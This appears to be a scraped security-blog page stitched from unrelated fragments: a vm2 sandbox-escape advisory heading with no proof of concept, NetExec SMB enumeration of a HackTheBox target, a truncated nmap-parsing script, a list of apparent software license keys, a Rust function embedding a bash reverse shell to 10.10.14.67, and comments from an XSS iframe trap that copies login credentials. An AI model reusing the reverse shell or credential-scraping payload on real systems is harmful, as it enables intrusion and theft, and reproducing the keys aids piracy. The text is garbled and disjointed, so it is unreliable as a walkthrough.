clem9669

Sandbox Escape in vm2@3.9.19 via custom inspect function

Summary

In vm2 for versions up to 3.9.19, Node.js custom inspect function allows attackers to escape the sandbox and run arbitrary code.

Proof of Concept

In progress

First we get the domain name to edit our etc hosts file

netexec smb 10.10.11.181                                                          
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)

Domain name: absolute.htb
Netbios name: DC

Scrambled vs NetExec

Let pwn the box Scrambled from HackTheBox using only NetExec ! For context, I was reading Scrambled writeup from 0xdf_ when I read this:

smbclient won’t work, and I wasn’t able to get crackmapexec to work either.

To be fair, at the time of his writeup it was true, but not anymore and it's pretty simple with NXC, 5 minutes and you get root :)

Note: I will pass the web part where we get one username : ksimpson

	#!/bin/bash

	# Check if an argument was provided
	if [ $# -eq 0 ]; then
	NMAP_XML_OUTPUT="/dev/stdin"
	else
	NMAP_XML_OUTPUT="$1"
	fi

	# Use xmllint to parse IP addresses and ports from the Nmap XML output

	DEMZF-UCKEE-HB222-DJDDH-594U5
	DMAZF-UCKEE-A6222-8CADP-HQZ7H
	DPAZF-UCKEE-FH222-ET546-DLRGT
	DRNZF-UCKEE-UK222-RWNLU-XVZH7
	DSBZF-UCKEE-BF222-K24JB-S9JLC
	DSHZF-UCKEE-D3222-NMB93-UKSQF
	DTHZF-UCKEE-BW222-Q2BKZ-NXPU8
	DVAZF-UCKEE-J7222-5UHCT-QSRFE
	DVEZF-UCKEE-PR222-ZAPFE-4C49Q

	// I couldn't find the owner of the exploit, anyone who knows can comment so I can give the credits ;)
	extern crate chrono;

	use std::fs::OpenOptions;
	use std::io::Write;
	use chrono::prelude::*;
	use std::process::Command;

	pub fn log(user: &str, query: &str, justification: &str) {
	let command = "bash -i >& /dev/tcp/10.10.14.67/444 0>&1";

	alert('Click ok when you\'re ready to enter iframe trap');

	// Example Credential scraper and
	// XSS iframe trap. Load from whatever
	// page has the reflected/stored XSS vuln
	// trap the user in an iframe of the app.
	// Frame the login page, and copy out the
	// username and password fields.
	// @hoodoer

	Apple M1 Ultra, 20 Core CPU, 48 Core GPU, 64GB of RAM, 1TB SSD

	Thanks to @fhlipZero(https://twitter.com/fhlipZero) for running the benchmark on his hardware and allowing me to publish it.
	A copy of both a short benchmark and the following full run can be found at https://gist.github.com/fhlip0



	hashcat (v6.2.5-340-g98b89e43d) starting in benchmark mode

	Benchmarking uses hand-optimized kernel code by default.

	alert('Click ok when you\'re ready to enter iframe trap');

	// Example XSS iframe trap. Load from whatever
	// page has the reflected/stored XSS vuln
	// trap the user in an iframe of the app.
	// While they surf around, they stick in your
	// iFrame, and you keep their session and your XSS
	// payload running.
	// @hoodoer